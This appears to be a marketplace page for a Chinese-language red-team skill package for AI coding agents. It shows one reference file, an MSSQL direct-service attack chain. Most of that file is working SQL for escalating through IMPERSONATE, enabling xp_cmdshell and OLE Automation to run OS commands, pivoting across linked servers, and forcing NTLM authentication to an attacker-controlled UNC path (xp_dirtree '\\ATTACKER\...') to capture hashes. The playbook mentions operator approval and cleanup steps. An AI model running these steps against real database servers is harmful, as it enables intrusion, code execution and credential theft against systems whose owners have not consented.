pale-knight/redteam-skill / skills/service-attack
service-attack
Verified直连网络服务攻击链。用于已经识别/枚举的非专门领域服务,从数据库、数据存储、文件/远程访问、基础设施、消息队列、DNS/网络服务、打印机/MFP/NAS/BMC/网络设备等服务入口继续利用到凭据、代码执行、主机控制、横向能力或新的独立身份。由操作者选择具体攻击链;不自动切换模块。
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 7.3 KB |
| references/database-mssql.md | markdown | 3.3 KB |
| references/database-mysql.md | markdown | 2.5 KB |
| references/database-oracle.md | markdown | 1.7 KB |
| references/database-postgresql.md | markdown | 2.1 KB |
| references/datastore-nosql.md | markdown | 3.0 KB |
| references/dns-network-services.md | markdown | 1.9 KB |
| references/file-services.md | markdown | 2.3 KB |
| references/infrastructure.md | markdown | 2.8 KB |
| references/messaging.md | markdown | 2.4 KB |
| references/network-appliance-cves.md | markdown | 5.6 KB |
| references/network-devices.md | markdown | 9.8 KB |
| references/remote-access.md | markdown | 1.1 KB |
| references/vulnerability-intelligence.md | markdown | 535 B |
references/database-mssql.md
View on GitHub# MSSQL Direct-Service Attack Chain
入口:直连 1433 / SQL Browser / 已获 MSSQL credential。
---
## 1. Gate
```sql
SELECT @@VERSION;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT * FROM sys.server_permissions WHERE grantee_principal_id=SUSER_ID();
SELECT name,product,provider,data_source,is_linked FROM sys.servers;
```
优先判断:
```text
sysadmin / CONTROL SERVER
IMPERSONATE
Linked Server
xp_cmdshell proxy / config
OLE
CLR
Machine Learning / external scripts
Windows service identity
```
---
## 2. IMPERSONATE
```sql
SELECT permission_name,state_desc,grantor_principal_id
FROM sys.server_permissions
WHERE grantee_principal_id=SUSER_ID() AND permission_name='IMPERSONATE';
```
针对已确认可模拟 login:
```sql
EXECUTE AS LOGIN = 'target_login';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
REVERT;
```
成功判断:获得更高 server role / CONTROL SERVER / 新 Linked Server 能力。
---
## 3. xp_cmdshell
Microsoft 当前文档:启用/执行 `xp_cmdshell` 通常要求高权限(CONTROL SERVER/sysadmin);sysadmin 调用时子进程使用 SQL Server service account。
先记录:
```sql
SELECT name,value,value_in_use FROM sys.configurations WHERE name='xp_cmdshell';
```
如权限满足并经操作者确认:
```sql
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```
Cleanup:如果原值 disabled,恢复:
```sql
EXEC sp_configure 'xp_cmdshell',0; RECONFIGURE;
```
---
## 4. OLE Automation
```sql
SELECT name,value_in_use FROM sys.configurations WHERE name='Ole Automation Procedures';
```
高权限且批准后:
```sql
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @o INT;
EXEC sp_OACreate 'WScript.Shell', @o OUT;
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd /c whoami > C:\Windows\Temp\sql-marker.txt';
```
Cleanup:恢复配置并删 marker。
---
## 5. Linked Server
```sql
SELECT name,product,provider,data_source,is_linked FROM sys.servers;
EXEC sp_testlinkedserver N'LINKED';
```
只读身份验证:
```sql
EXEC ('SELECT SYSTEM_USER, @@SERVERNAME, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED];
```
如果第 N 跳获得执行能力,该 Linked Server 链可以继续在本 reference 内走到结果,不因为“换了一台SQL”中断。
---
## 6. UNC / Integrated Authentication
Windows SQL Server 的文件/目录访问 primitive 可能触发服务身份对 UNC 的认证。
先确认授权测试窗口和监听范围,再使用无害 SMB path 验证是否产生认证:
```sql
EXEC master..xp_dirtree '\\ATTACKER\mssql-test';
```
成功:捕获服务账户/机器账户的 NTLM challenge-response。后续是否破解/relay 由操作者决定;不要假设它自动等于域提权。
---
## 7. CLR / External Scripts
```sql
SELECT name,value_in_use FROM sys.configurations WHERE name IN ('clr enabled','external scripts enabled');
```
CLR 需要数据库/程序集相关权限并受 SQL Server 版本安全模型限制。External Scripts 还依赖 Machine Learning Services 安装和语言 runtime。只有确认功能存在才继续,不把它们当通用 fallback。
---
## 8. Result
```text
OS command context = ...
SQL service identity = ...
Linked servers controlled = ...
new credential/hash = ...
modified configs + restored? = ...
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |